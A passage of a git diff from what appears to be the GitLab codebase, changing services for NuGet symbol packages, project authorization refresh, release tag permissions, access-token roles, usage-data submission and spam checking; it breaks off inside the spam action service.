@@ -18,6 +18,7 @@ module Packages
XPATH_DEPENDENCIES = '//xmlns:package/xmlns:metadata/xmlns:dependencies/xmlns:dependency'
XPATH_DEPENDENCY_GROUPS = '//xmlns:package/xmlns:metadata/xmlns:dependencies/xmlns:group'
XPATH_TAGS = '//xmlns:package/xmlns:metadata/xmlns:tags'
+ XPATH_PACKAGE_TYPES = '//xmlns:package/xmlns:metadata/xmlns:packageTypes/xmlns:packageType'
MAX_FILE_SIZE = 4.megabytes.freeze
@@ -57,6 +58,7 @@ module Packages
.tap do |metadata|
metadata[:package_dependencies] = extract_dependencies(doc)
metadata[:package_tags] = extract_tags(doc)
+ metadata[:package_types] = extract_package_types(doc)
end
end
@@ -85,6 +87,10 @@ module Packages
}.compact
end
+ def extract_package_types(doc)
+ doc.xpath(XPATH_PACKAGE_TYPES).map { |node| node.attr('name') }.uniq
+ end
+
def extract_tags(doc)
tags = doc.xpath(XPATH_TAGS).text
diff --git a/app/services/packages/nuget/update_package_from_metadata_service.rb b/app/services/packages/nuget/update_package_from_metadata_service.rb
index 8210072eab3..2d1733421fd 100644
--- a/app/services/packages/nuget/update_package_from_metadata_service.rb
+++ b/app/services/packages/nuget/update_package_from_metadata_service.rb
@@ -8,6 +8,7 @@ module Packages
# used by ExclusiveLeaseGuard
DEFAULT_LEASE_TIMEOUT = 1.hour.to_i.freeze
+ SYMBOL_PACKAGE_IDENTIFIER = 'SymbolsPackage'
InvalidMetadataError = Class.new(StandardError)
@@ -20,7 +21,13 @@ module Packages
try_obtain_lease do
@package_file.transaction do
- package = existing_package ? link_to_existing_package : update_linked_package
+ if existing_package
+ package = link_to_existing_package
+ elsif symbol_package?
+ raise InvalidMetadataError, 'symbol package is invalid, matching package does not exist'
+ else
+ package = update_linked_package
+ end
update_package(package)
@@ -39,6 +46,8 @@ module Packages
private
def update_package(package)
+ return if symbol_package?
+
::Packages::Nuget::SyncMetadatumService
.new(package, metadata.slice(:project_url, :license_url, :icon_url))
.execute
@@ -103,6 +112,14 @@ module Packages
metadata.fetch(:package_tags, [])
end
+ def package_types
+ metadata.fetch(:package_types, [])
+ end
+
+ def symbol_package?
+ package_types.include?(SYMBOL_PACKAGE_IDENTIFIER)
+ end
+
def metadata
strong_memoize(:metadata) do
::Packages::Nuget::MetadataExtractionService.new(@package_file.id).execute
@@ -110,7 +127,7 @@ module Packages
end
def package_filename
- "#{package_name.downcase}.#{package_version.downcase}.nupkg"
+ "#{package_name.downcase}.#{package_version.downcase}.#{symbol_package? ? 'snupkg' : 'nupkg'}"
end
# used by ExclusiveLeaseGuard
diff --git a/app/services/post_receive_service.rb b/app/services/post_receive_service.rb
index faacabbb16c..a6d49f03c0b 100644
--- a/app/services/post_receive_service.rb
+++ b/app/services/post_receive_service.rb
@@ -32,11 +32,11 @@ class PostReceiveService
response.add_alert_message(broadcast_message)
response.add_merge_request_urls(merge_request_urls)
- # Neither User nor Project are guaranteed to be returned; an orphaned write deploy
+ # Neither User nor Repository are guaranteed to be returned; an orphaned write deploy
# key could be used
- if user && project
- redirect_message = Gitlab::Checks::ProjectMoved.fetch_message(user.id, project.id)
- project_created_message = Gitlab::Checks::ProjectCreated.fetch_message(user.id, project.id)
+ if user && repository
+ redirect_message = Gitlab::Checks::ContainerMoved.fetch_message(user, repository)
+ project_created_message = Gitlab::Checks::ProjectCreated.fetch_message(user, repository)
response.add_basic_message(redirect_message)
response.add_basic_message(project_created_message)
@@ -94,6 +94,8 @@ class PostReceiveService
end
def record_onboarding_progress
+ return unless project
+
OnboardingProgressService.new(project.namespace).execute(action: :git_write)
end
end
diff --git a/app/services/projects/create_service.rb b/app/services/projects/create_service.rb
index 7dd9280e5b1..9a5c260e488 100644
--- a/app/services/projects/create_service.rb
+++ b/app/services/projects/create_service.rb
@@ -108,11 +108,7 @@ module Projects
current_user.invalidate_personal_projects_count
- if Feature.enabled?(:projects_post_creation_worker, current_user, default_enabled: :yaml)
- Projects::PostCreationWorker.perform_async(@project.id)
- else
- create_prometheus_service
- end
+ Projects::PostCreationWorker.perform_async(@project.id)
create_readme if @initialize_with_readme
end
@@ -151,7 +147,7 @@ module Projects
branch_name: @default_branch.presence || @project.default_branch_or_main,
commit_message: 'Initial commit',
file_path: 'README.md',
- file_content: "# #{@project.name}\n\n#{@project.description}"
+ file_content: experiment(:new_project_readme_content, namespace: @project.namespace).run_with(@project)
}
Files::CreateService.new(@project, current_user, commit_attrs).execute
@@ -191,25 +187,6 @@ module Projects
@project
end
- # Deprecated: https://gitlab.com/gitlab-org/gitlab/-/issues/326665
- def create_prometheus_service
- service = @project.find_or_initialize_service(::PrometheusService.to_param)
-
- # If the service has already been inserted in the database, that
- # means it came from a template, and there's nothing more to do.
- return if service.persisted?
-
- if service.prometheus_available?
- service.save!
- else
- @project.prometheus_service = nil
- end
-
- rescue ActiveRecord::RecordInvalid => e
- Gitlab::ErrorTracking.track_exception(e, extra: { project_id: project.id })
- @project.prometheus_service = nil
- end
-
def set_project_name_from_path
# if both name and path set - everything is ok
return if @project.name.present? && @project.path.present?
diff --git a/app/services/projects/group_links/create_service.rb b/app/services/projects/group_links/create_service.rb
index fc5c936b378..a0232779c97 100644
--- a/app/services/projects/group_links/create_service.rb
+++ b/app/services/projects/group_links/create_service.rb
@@ -13,7 +13,7 @@ module Projects
)
if link.save
- setup_authorizations(group, link.group_access)
+ setup_authorizations(group)
success(link: link)
else
error(link.errors.full_messages.to_sentence, 409)
@@ -22,9 +22,8 @@ module Projects
private
- def setup_authorizations(group, group_access = nil)
- AuthorizedProjectUpdate::ProjectGroupLinkCreateWorker.perform_async(
- project.id, group.id, group_access)
+ def setup_authorizations(group)
+ AuthorizedProjectUpdate::ProjectRecalculateWorker.perform_async(project.id)
# AuthorizedProjectsWorker uses an exclusive lease per user but
# specialized workers might have synchronization issues. Until we
diff --git a/app/services/projects/group_links/update_service.rb b/app/services/projects/group_links/update_service.rb
index 7de4b7a211d..475ab17f1a1 100644
--- a/app/services/projects/group_links/update_service.rb
+++ b/app/services/projects/group_links/update_service.rb
@@ -12,15 +12,29 @@ module Projects
def execute(group_link_params)
group_link.update!(group_link_params)
- if requires_authorization_refresh?(group_link_params)
- group_link.group.refresh_members_authorized_projects
- end
+ refresh_authorizations if requires_authorization_refresh?(group_link_params)
end
private
attr_reader :group_link
+ def refresh_authorizations
+ if Feature.enabled?(:specialized_worker_for_project_share_update_auth_recalculation)
+ AuthorizedProjectUpdate::ProjectRecalculateWorker.perform_async(project.id)
+
+ # Until we compare the inconsistency rates of the new specialized worker and
+ # the old approach, we still run AuthorizedProjectsWorker
+ # but with some delay and lower urgency as a safety net.
+ group_link.group.refresh_members_authorized_projects(
+ blocking: false,
+ priority: UserProjectAccessChangedService::LOW_PRIORITY
+ )
+ else
+ group_link.group.refresh_members_authorized_projects
+ end
+ end
+
def requires_authorization_refresh?(params)
params.include?(:group_access)
end
diff --git a/app/services/projects/lfs_pointers/lfs_download_service.rb b/app/services/projects/lfs_pointers/lfs_download_service.rb
index 9e2edf7c4ef..fe9dce26029 100644
--- a/app/services/projects/lfs_pointers/lfs_download_service.rb
+++ b/app/services/projects/lfs_pointers/lfs_download_service.rb
@@ -22,7 +22,7 @@ module Projects
def execute
return unless project&.lfs_enabled? && lfs_download_object
return error("LFS file with oid #{lfs_oid} has invalid attributes") unless lfs_download_object.valid?
- return link_existing_lfs_object! if lfs_size > LARGE_FILE_SIZE && lfs_object
+ return link_existing_lfs_object! if Feature.enabled?(:lfs_link_existing_object, project, default_enabled: :yaml) && lfs_size > LARGE_FILE_SIZE && lfs_object
wrap_download_errors do
download_lfs_file!
@@ -61,8 +61,10 @@ module Projects
def download_and_save_file!(file)
digester = Digest::SHA256.new
fetch_file do |fragment|
- digester << fragment
- file.write(fragment)
+ if digest_fragment?(fragment)
+ digester << fragment
+ file.write(fragment)
+ end
raise_size_error! if file.size > lfs_size
end
@@ -71,6 +73,10 @@ module Projects
raise_oid_error! if digester.hexdigest != lfs_oid
end
+ def digest_fragment?(fragment)
+ fragment.http_response.is_a?(Net::HTTPSuccess)
+ end
+
def download_options
http_options = { headers: lfs_headers, stream_body: true }
diff --git a/app/services/projects/operations/update_service.rb b/app/services/projects/operations/update_service.rb
index c0734171ee5..2cc6bcdf57c 100644
--- a/app/services/projects/operations/update_service.rb
+++ b/app/services/projects/operations/update_service.rb
@@ -102,10 +102,10 @@ module Projects
def prometheus_integration_params
return {} unless attrs = params[:prometheus_integration_attributes]
- service = project.find_or_initialize_service(::PrometheusService.to_param)
- service.assign_attributes(attrs)
+ integration = project.find_or_initialize_integration(::Integrations::Prometheus.to_param)
+ integration.assign_attributes(attrs)
- { prometheus_service_attributes: service.attributes.except(*%w(id project_id created_at updated_at)) }
+ { prometheus_integration_attributes: integration.attributes.except(*%w[id project_id created_at updated_at]) }
end
def incident_management_setting_params
diff --git a/app/services/projects/overwrite_project_service.rb b/app/services/projects/overwrite_project_service.rb
index e681b5643ee..6be3b1b5a6f 100644
--- a/app/services/projects/overwrite_project_service.rb
+++ b/app/services/projects/overwrite_project_service.rb
@@ -20,7 +20,7 @@ module Projects
rescue Exception => e # rubocop:disable Lint/RescueException
attempt_restore_repositories(source_project)
- if e.class == Exception
+ if e.instance_of?(Exception)
raise StandardError, e.message
else
raise
diff --git a/app/services/projects/prometheus/alerts/notify_service.rb b/app/services/projects/prometheus/alerts/notify_service.rb
index e1eb1374d14..c1bf2e68436 100644
--- a/app/services/projects/prometheus/alerts/notify_service.rb
+++ b/app/services/projects/prometheus/alerts/notify_service.rb
@@ -67,7 +67,7 @@ module Projects
end
def valid_for_manual?(token)
- prometheus = project.find_or_initialize_service('prometheus')
+ prometheus = project.find_or_initialize_integration('prometheus')
return false unless prometheus.manual_configuration?
if setting = project.alerting_setting
diff --git a/app/services/projects/protect_default_branch_service.rb b/app/services/projects/protect_default_branch_service.rb
index 1d3fb523448..0111b9e377a 100644
--- a/app/services/projects/protect_default_branch_service.rb
+++ b/app/services/projects/protect_default_branch_service.rb
@@ -22,7 +22,7 @@ module Projects
# Ensure HEAD points to the default branch in case it is not master
project.change_head(default_branch)
- create_protected_branch if protect_branch?
+ create_protected_branch if protect_branch? && !protected_branch_exists?
end
def create_protected_branch
@@ -44,6 +44,10 @@ module Projects
!ProtectedBranch.protected?(project, default_branch)
end
+ def protected_branch_exists?
+ project.protected_branches.find_by_name(default_branch).present?
+ end
+
def default_branch
project.default_branch
end
diff --git a/app/services/projects/transfer_service.rb b/app/services/projects/transfer_service.rb
index d9e49dfae61..fb0fea756bc 100644
--- a/app/services/projects/transfer_service.rb
+++ b/app/services/projects/transfer_service.rb
@@ -139,7 +139,19 @@ module Projects
user_ids = @old_namespace.user_ids_for_project_authorizations |
@new_namespace.user_ids_for_project_authorizations
- UserProjectAccessChangedService.new(user_ids).execute
+ if Feature.enabled?(:specialized_worker_for_project_transfer_auth_recalculation)
+ AuthorizedProjectUpdate::ProjectRecalculateWorker.perform_async(project.id)
+
+ # Until we compare the inconsistency rates of the new specialized worker and
+ # the old approach, we still run AuthorizedProjectsWorker
+ # but with some delay and lower urgency as a safety net.
+ UserProjectAccessChangedService.new(user_ids).execute(
+ blocking: false,
+ priority: UserProjectAccessChangedService::LOW_PRIORITY
+ )
+ else
+ UserProjectAccessChangedService.new(user_ids).execute
+ end
end
def rollback_side_effects
diff --git a/app/services/projects/update_pages_service.rb b/app/services/projects/update_pages_service.rb
index 8ea35131339..a90c22c7de5 100644
--- a/app/services/projects/update_pages_service.rb
+++ b/app/services/projects/update_pages_service.rb
@@ -31,10 +31,11 @@ module Projects
register_attempt
# Create status notifying the deployment of pages
- @status = create_status
- @status.update_older_statuses_retried! if Feature.enabled?(:ci_fix_commit_status_retried, project, default_enabled: :yaml)
- @status.enqueue!
- @status.run!
+ @status = build_commit_status
+ ::Ci::Pipelines::AddJobService.new(@build.pipeline).execute!(@status) do |job|
+ job.enqueue!
+ job.run!
+ end
raise InvalidStateError, 'missing pages artifacts' unless build.artifacts?
raise InvalidStateError, 'build SHA is outdated for this ref' unless latest?
@@ -70,12 +71,9 @@ module Projects
super
end
- def create_status
+ def build_commit_status
GenericCommitStatus.new(
- project: project,
- pipeline: build.pipeline,
user: build.user,
- ref: build.ref,
stage: 'deploy',
name: 'pages:deploy'
)
diff --git a/app/services/projects/update_remote_mirror_service.rb b/app/services/projects/update_remote_mirror_service.rb
index eac84337967..6c29ba81910 100644
--- a/app/services/projects/update_remote_mirror_service.rb
+++ b/app/services/projects/update_remote_mirror_service.rb
@@ -65,7 +65,7 @@ module Projects
# TODO: Support LFS sync over SSH
# https://gitlab.com/gitlab-org/gitlab/-/issues/249587
- return unless remote_mirror.url =~ /\Ahttps?:\/\//i
+ return unless remote_mirror.url =~ %r{\Ahttps?://}i
return unless remote_mirror.password_auth?
Lfs::PushService.new(
diff --git a/app/services/projects/update_service.rb b/app/services/projects/update_service.rb
index 4351a66351d..d6e7f165d72 100644
--- a/app/services/projects/update_service.rb
+++ b/app/services/projects/update_service.rb
@@ -66,6 +66,8 @@ module Projects
previous_default_branch = project.default_branch
if project.change_head(params[:default_branch])
+ params[:previous_default_branch] = previous_default_branch
+
after_default_branch_change(previous_default_branch)
else
raise ValidationError, s_("UpdateProject|Could not set the default branch")
diff --git a/app/services/releases/base_service.rb b/app/services/releases/base_service.rb
index 9dd0c9a007a..b4b493624e7 100644
--- a/app/services/releases/base_service.rb
+++ b/app/services/releases/base_service.rb
@@ -5,6 +5,8 @@ module Releases
include BaseServiceUtility
include Gitlab::Utils::StrongMemoize
+ ReleaseProtectedTagAccessError = Class.new(StandardError)
+
attr_accessor :project, :current_user, :params
def initialize(project, user = nil, params = {})
@@ -81,6 +83,15 @@ module Releases
release.execute_hooks(action)
end
+ def track_protected_tag_access_error!
+ unless ::Gitlab::UserAccess.new(current_user, container: project).can_create_tag?(tag_name)
+ Gitlab::ErrorTracking.log_exception(
+ ReleaseProtectedTagAccessError.new,
+ project_id: project.id,
+ user_id: current_user.id)
+ end
+ end
+
# overridden in EE
def project_group_id; end
end
diff --git a/app/services/releases/create_service.rb b/app/services/releases/create_service.rb
index 1096e207e02..2aac5644b84 100644
--- a/app/services/releases/create_service.rb
+++ b/app/services/releases/create_service.rb
@@ -7,6 +7,8 @@ module Releases
return error('Release already exists', 409) if release
return error("Milestone(s) not found: #{inexistent_milestones.join(', ')}", 400) if inexistent_milestones.any?
+ track_protected_tag_access_error!
+
# should be found before the creation of new tag
# because tag creation can spawn new pipeline
# which won't have any data for evidence yet
@@ -42,7 +44,13 @@ module Releases
end
def allowed?
- Ability.allowed?(current_user, :create_release, project)
+ Ability.allowed?(current_user, :create_release, project) && can_create_tag?
+ end
+
+ def can_create_tag?
+ return true unless ::Feature.enabled?(:evalute_protected_tag_for_release_permissions, project, default_enabled: :yaml)
+
+ ::Gitlab::UserAccess.new(current_user, container: project).can_create_tag?(tag_name)
end
def create_release(tag, evidence_pipeline)
diff --git a/app/services/releases/destroy_service.rb b/app/services/releases/destroy_service.rb
index 8abf9308689..36cf29c955d 100644
--- a/app/services/releases/destroy_service.rb
+++ b/app/services/releases/destroy_service.rb
@@ -6,6 +6,8 @@ module Releases
return error('Release does not exist', 404) unless release
return error('Access Denied', 403) unless allowed?
+ track_protected_tag_access_error!
+
if release.destroy
success(tag: existing_tag, release: release)
else
diff --git a/app/services/releases/update_service.rb b/app/services/releases/update_service.rb
index 4e78120ac05..eda4b7102c0 100644
--- a/app/services/releases/update_service.rb
+++ b/app/services/releases/update_service.rb
@@ -7,6 +7,8 @@ module Releases
return error
end
+ track_protected_tag_access_error!
+
if param_for_milestone_titles_provided?
previous_milestones = release.milestones.map(&:title)
params[:milestones] = milestones
diff --git a/app/services/resource_access_tokens/create_service.rb b/app/services/resource_access_tokens/create_service.rb
index 6ff8767a525..34aa414de8f 100644
--- a/app/services/resource_access_tokens/create_service.rb
+++ b/app/services/resource_access_tokens/create_service.rb
@@ -16,11 +16,12 @@ module ResourceAccessTokens
return error(user.errors.full_messages.to_sentence) unless user.persisted?
- member = create_membership(resource, user)
+ access_level = params[:access_level] || Gitlab::Access::MAINTAINER
+ member = create_membership(resource, user, access_level)
unless member.persisted?
delete_failed_user(user)
- return error("Could not provision maintainer access to project access token")
+ return error("Could not provision #{Gitlab::Access.human_access(access_level).downcase} access to project access token")
end
token_response = create_personal_access_token(user)
@@ -102,8 +103,8 @@ module ResourceAccessTokens
Gitlab::Auth.resource_bot_scopes
end
- def create_membership(resource, user)
- resource.add_user(user, :maintainer, expires_at: params[:expires_at])
+ def create_membership(resource, user, access_level)
+ resource.add_user(user, access_level, expires_at: params[:expires_at])
end
def log_event(token)
diff --git a/app/services/security/ci_configuration/dependency_scanning_create_service.rb b/app/services/security/ci_configuration/dependency_scanning_create_service.rb
new file mode 100644
index 00000000000..71e8d5025ae
--- /dev/null
+++ b/app/services/security/ci_configuration/dependency_scanning_create_service.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Security
+ module CiConfiguration
+ class DependencyScanningCreateService < ::Security::CiConfiguration::BaseCreateService
+ private
+
+ def action
+ Security::CiConfiguration::DependencyScanningBuildAction.new(project.auto_devops_enabled?, existing_gitlab_ci_content).generate
+ end
+
+ def next_branch
+ 'set-dependency-scanning-config'
+ end
+
+ def message
+ _('Configure Dependency Scanning in `.gitlab-ci.yml`, creating this file if it does not already exist')
+ end
+
+ def description
+ _('Configure Dependency Scanning in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings) to customize Dependency Scanning settings.')
+ end
+ end
+ end
+end
diff --git a/app/services/service_ping/build_payload_service.rb b/app/services/service_ping/build_payload_service.rb
new file mode 100644
index 00000000000..2bef3d32103
--- /dev/null
+++ b/app/services/service_ping/build_payload_service.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module ServicePing
+ class BuildPayloadService
+ def execute
+ return {} unless allowed_to_report?
+
+ raw_payload
+ end
+
+ private
+
+ def allowed_to_report?
+ product_intelligence_enabled? && !User.single_user&.requires_usage_stats_consent?
+ end
+
+ def product_intelligence_enabled?
+ ::Gitlab::CurrentSettings.usage_ping_enabled?
+ end
+
+ def raw_payload
+ @raw_payload ||= ::Gitlab::UsageData.data(force_refresh: true)
+ end
+ end
+end
+
+ServicePing::BuildPayloadService.prepend_mod_with('ServicePing::BuildPayloadService')
diff --git a/app/services/service_ping/permit_data_categories_service.rb b/app/services/service_ping/permit_data_categories_service.rb
new file mode 100644
index 00000000000..ff48c022b56
--- /dev/null
+++ b/app/services/service_ping/permit_data_categories_service.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module ServicePing
+ class PermitDataCategoriesService
+ STANDARD_CATEGORY = 'Standard'
+ SUBSCRIPTION_CATEGORY = 'Subscription'
+ OPERATIONAL_CATEGORY = 'Operational'
+ OPTIONAL_CATEGORY = 'Optional'
+ CATEGORIES = [
+ STANDARD_CATEGORY,
+ SUBSCRIPTION_CATEGORY,
+ OPERATIONAL_CATEGORY,
+ OPTIONAL_CATEGORY
+ ].to_set.freeze
+
+ def execute
+ return [] unless product_intelligence_enabled?
+
+ CATEGORIES
+ end
+
+ def product_intelligence_enabled?
+ pings_enabled? && !User.single_user&.requires_usage_stats_consent?
+ end
+
+ private
+
+ def pings_enabled?
+ ::Gitlab::CurrentSettings.usage_ping_enabled?
+ end
+ end
+end
+
+ServicePing::PermitDataCategoriesService.prepend_mod_with('ServicePing::PermitDataCategoriesService')
diff --git a/app/services/service_ping/submit_service.rb b/app/services/service_ping/submit_service.rb
new file mode 100644
index 00000000000..5c03aa46e18
--- /dev/null
+++ b/app/services/service_ping/submit_service.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+module ServicePing
+ class SubmitService
+ PRODUCTION_URL = 'https://version.gitlab.com/usage_data'
+ STAGING_URL = 'https://gitlab-services-version-gitlab-com-staging.gs-staging.gitlab.org/usage_data'
+
+ METRICS = %w[leader_issues instance_issues percentage_issues leader_notes instance_notes
+ percentage_notes leader_milestones instance_milestones percentage_milestones
+ leader_boards instance_boards percentage_boards leader_merge_requests
+ instance_merge_requests percentage_merge_requests leader_ci_pipelines
+ instance_ci_pipelines percentage_ci_pipelines leader_environments instance_environments
+ percentage_environments leader_deployments instance_deployments percentage_deployments
+ leader_projects_prometheus_active instance_projects_prometheus_active
+ percentage_projects_prometheus_active leader_service_desk_issues instance_service_desk_issues
+ percentage_service_desk_issues].freeze
+
+ SubmissionError = Class.new(StandardError)
+
+ def execute
+ return unless ServicePing::PermitDataCategoriesService.new.product_intelligence_enabled?
+
+ begin
+ usage_data = BuildPayloadService.new.execute
+ raw_usage_data, response = submit_usage_data_payload(usage_data)
+ rescue StandardError
+ return unless Gitlab::CurrentSettings.usage_ping_enabled?
+
+ usage_data = Gitlab::UsageData.data(force_refresh: true)
+ raw_usage_data, response = submit_usage_data_payload(usage_data)
+ end
+
+ version_usage_data_id = response.dig('conv_index', 'usage_data_id') || response.dig('dev_ops_score', 'usage_data_id')
+
+ unless version_usage_data_id.is_a?(Integer) && version_usage_data_id > 0
+ raise SubmissionError, "Invalid usage_data_id in response: #{version_usage_data_id}"
+ end
+
+ raw_usage_data.update_version_metadata!(usage_data_id: version_usage_data_id)
+
+ store_metrics(response)
+ end
+
+ private
+
+ def submit_payload(usage_data)
+ Gitlab::HTTP.post(
+ url,
+ body: usage_data.to_json,
+ allow_local_requests: true,
+ headers: { 'Content-type' => 'application/json' }
+ )
+ end
+
+ def submit_usage_data_payload(usage_data)
+ raise SubmissionError, 'Usage data is blank' if usage_data.blank?
+
+ raw_usage_data = save_raw_usage_data(usage_data)
+
+ response = submit_payload(usage_data)
+
+ raise SubmissionError, "Unsuccessful response code: #{response.code}" unless response.success?
+
+ [raw_usage_data, response]
+ end
+
+ def save_raw_usage_data(usage_data)
+ RawUsageData.safe_find_or_create_by(recorded_at: usage_data[:recorded_at]) do |record|
+ record.payload = usage_data
+ end
+ end
+
+ def store_metrics(response)
+ metrics = response['conv_index'] || response['dev_ops_score'] # leaving dev_ops_score here, as the response data comes from the gitlab-version-com
+
+ return unless metrics.present?
+
+ DevOpsReport::Metric.create!(
+ metrics.slice(*METRICS)
+ )
+ end
+
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/233615 for details
+ def url
+ if Rails.env.production?
+ PRODUCTION_URL
+ else
+ STAGING_URL
+ end
+ end
+ end
+end
+
+ServicePing::SubmitService.prepend_mod
diff --git a/app/services/snippets/create_service.rb b/app/services/snippets/create_service.rb
index 8f1b481d307..6d3b63de9fd 100644
--- a/app/services/snippets/create_service.rb
+++ b/app/services/snippets/create_service.rb
@@ -2,12 +2,14 @@
module Snippets
class CreateService < Snippets::BaseService
- def execute
- # NOTE: disable_spam_action_service can be removed when the ':snippet_spam' feature flag is removed.
- disable_spam_action_service = params.delete(:disable_spam_action_service) == true
- @request = params.delete(:request)
- @spam_params = Spam::SpamActionService.filter_spam_params!(params, @request)
+ # NOTE: For Issues::CreateService, we require the spam_params and do not default it to nil, because
+ # spam_checking is likely to be necessary.
+ def initialize(project:, current_user: nil, params: {}, spam_params:)
+ super(project: project, current_user: current_user, params: params)
+ @spam_params = spam_params
+ end
+ def execute
@snippet = build_from_params
return invalid_params_error(@snippet) unless valid_params?
@@ -18,17 +20,15 @@ module Snippets
@snippet.author = current_user
- unless disable_spam_action_service
- Spam::SpamActionService.new(
- spammable: @snippet,
- request: request,
- user: current_user,
- action: :create
- ).execute(spam_params: spam_params)
- end
+ Spam::SpamActionService.new(
+ spammable: @snippet,
+ spam_params: spam_params,
+ user: current_user,
+ action: :create
+ ).execute
if save_and_commit
- UserAgentDetailService.new(@snippet, request).create
+ UserAgentDetailService.new(spammable: @snippet, spam_params: spam_params).create
Gitlab::UsageDataCounters::SnippetCounter.count(:create)
move_temporary_files
@@ -41,7 +41,7 @@ module Snippets
private
- attr_reader :snippet, :request, :spam_params
+ attr_reader :snippet, :spam_params
def build_from_params
if project
diff --git a/app/services/snippets/update_service.rb b/app/services/snippets/update_service.rb
index 8571bc9c869..d83b21271c0 100644
--- a/app/services/snippets/update_service.rb
+++ b/app/services/snippets/update_service.rb
@@ -6,12 +6,15 @@ module Snippets
UpdateError = Class.new(StandardError)
- def execute(snippet)
- # NOTE: disable_spam_action_service can be removed when the ':snippet_spam' feature flag is removed.
- disable_spam_action_service = params.delete(:disable_spam_action_service) == true
- @request = params.delete(:request)
- @spam_params = Spam::SpamActionService.filter_spam_params!(params, @request)
+ # NOTE: For Snippets::UpdateService, we default the spam_params to nil, because spam_checking is not
+ # necessary in many cases, and we don't want every caller to have to explicitly pass it as nil
+ # to disable spam checking.
+ def initialize(project:, current_user: nil, params: {}, spam_params: nil)
+ super(project: project, current_user: current_user, params: params)
+ @spam_params = spam_params
+ end
+ def execute(snippet)
return invalid_params_error(snippet) unless valid_params?
if visibility_changed?(snippet) && !visibility_allowed?(visibility_level)
@@ -20,14 +23,12 @@ module Snippets
update_snippet_attributes(snippet)
- unless disable_spam_action_service
- Spam::SpamActionService.new(
- spammable: snippet,
- request: request,
- user: current_user,
- action: :update
- ).execute(spam_params: spam_params)
- end
+ Spam::SpamActionService.new(
+ spammable: snippet,
+ spam_params: spam_params,
+ user: current_user,
+ action: :update
+ ).execute
if save_and_commit(snippet)
Gitlab::UsageDataCounters::SnippetCounter.count(:update)
@@ -40,7 +41,7 @@ module Snippets
private
- attr_reader :request, :spam_params
+ attr_reader :spam_params
def visibility_changed?(snippet)
visibility_level && visibility_level.to_i != snippet.visibility_level
diff --git a/app/services/spam/akismet_service.rb b/app/services/spam/akismet_service.rb
index e9843497dd7..d31b904f549 100644
--- a/app/services/spam/akismet_service.rb
+++ b/app/services/spam/akismet_service.rb
@@ -20,6 +20,7 @@ module Spam
created_at: DateTime.current,
author: owner_name,
author_email: owner_email,
+ # NOTE: The akismet_client needs the option to be named `:referrer`, not `:referer`
referrer: options[:referer]
}
diff --git a/app/services/spam/spam_action_service.rb b/app/services/spam/spam_action_service.rb
index 3ae5111b994..ec16ce19cf6 100644
--- a/app/services/spam/spam_action_service.rb
+++ b/app/services/spam/spam_action_service.rb
@@ -4,67 +4,22 @@ module Spam
class SpamActionService
include SpamConstants
- ##
- # Utility method to filter SpamParams from parameters, which will later be passed to #execute
- # after the spammable is created/updated based on the remaining parameters.
- #
- # Takes a hash of parameters from an incoming request to modify a model (via a controller,
- # service, or GraphQL mutation). The parameters will either be camelCase (if they are
- # received directly via controller params) or underscore_case (if they have come from
- # a GraphQL mutation which has converted them to underscore), or in the
- # headers when using the header based flow.
- #
- # Deletes the parameters which are related to spam and captcha processing, and returns
- # them in a SpamParams parameters object. See:
- # https://refactoring.com/catalog/introduceParameterObject.html
- def self.filter_spam_params!(params, request)
- # NOTE: The 'captcha_response' field can be expanded to multiple fields when we move to future
- # alternative captcha implementations such as FriendlyCaptcha. See
- # https://gitlab.com/gitlab-org/gitlab/-/issues/273480
- headers = request&.headers || {}
- api = params.delete(:api)
- captcha_response = read_parameter(:captcha_response, params, headers)
- spam_log_id = read_parameter(:spam_log_id, params, headers)&.to_i
-
- SpamParams.new(api: api, captcha_response: captcha_response, spam_log_id: spam_log_id)
- end
-
- def self.read_parameter(name, params, headers)
- [
- params.delete(name),
- params.delete(name.to_s.camelize(:lower).to_sym),
- headers["X-GitLab-#{name.to_s.titlecase(keep_id_suffix: true).tr(' ', '-')}"]
- ].compact.first
- end
-
- attr_accessor :target, :request, :options
- attr_reader :spam_log
-
- def initialize(spammable:, request:, user:, action:)
+ def initialize(spammable:, spam_params:, user:, action:)
@target = spammable
- @request = request
+ @spam_params = spam_params
@user = user
@action = action
- @options = {}
end
# rubocop:disable Metrics/AbcSize
- def execute(spam_params:)
- if request
- options[:ip_address] = request.env['action_dispatch.remote_ip'].to_s
- options[:user_agent] = request.env['HTTP_USER_AGENT']
- options[:referer] = request.env['HTTP_REFERER']
- else
- # TODO: This code is never used, because we do not perform a verification if there is not a
- # request. Why? Should it be deleted? Or should we check even if there is no request?
- options[:ip_address] = target.ip_address
- options[:user_agent] = target.user_agent
- end
+ def execute
+ # If spam_params is passed as `nil`, no check will be performed. This is the easiest way to allow
+ # composed services which may not need to do spam checking to "opt out". For example, when
+ # MoveService is calling CreateService, spam checking is not necessary, as no new content is
+ # being created.
+ return ServiceResponse.success(message: 'Skipped spam check because spam_params was not present') unless spam_params
- recaptcha_verified = Captcha::CaptchaVerificationService.new.execute(
- captcha_response: spam_params.captcha_response,
- request: request
- )
+ recaptcha_verified = Captcha::CaptchaVerificationService.new(spam_params: spam_params).execute
if recaptcha_verified
# If it's a request which is already verified through CAPTCHA,
@@ -73,10 +28,9 @@ module Spam
ServiceResponse.success(message: "CAPTCHA successfully verified")
else
return ServiceResponse.success(message: 'Skipped spam check because user was allowlisted') if allowlisted?(user)
- return ServiceResponse.success(message: 'Skipped spam check because request was not present') unless request
return ServiceResponse.success(message: 'Skipped spam check because it was not required') unless check_for_spam?
- perform_spam_service_check(spam_params.api)
+ perform_spam_service_check
ServiceResponse.success(message: "Spam check performed. Check #{target.class.name} spammable model for any errors or CAPTCHA requirement")
end
end
@@ -86,7 +40,7 @@ module Spam
private
- attr_reader :user, :action
+ attr_reader :user, :action, :target, :spam_params, :spam_log
##
# In order to be proceed to the spam check process, the target must be
@@ -104,7 +58,7 @@ module Spam
##
# Performs the spam check using the spam verdict service, and modifies the target model
# accordingly based on the result.
- def perform_spam_service_check(api)
+ def perform_spam_service_check
ensure_target_is_dirty
# since we can check for spam, and recaptcha is not verified,
@@ -113,7 +67,7 @@ module Spam
case result
when CONDITIONAL_ALLOW
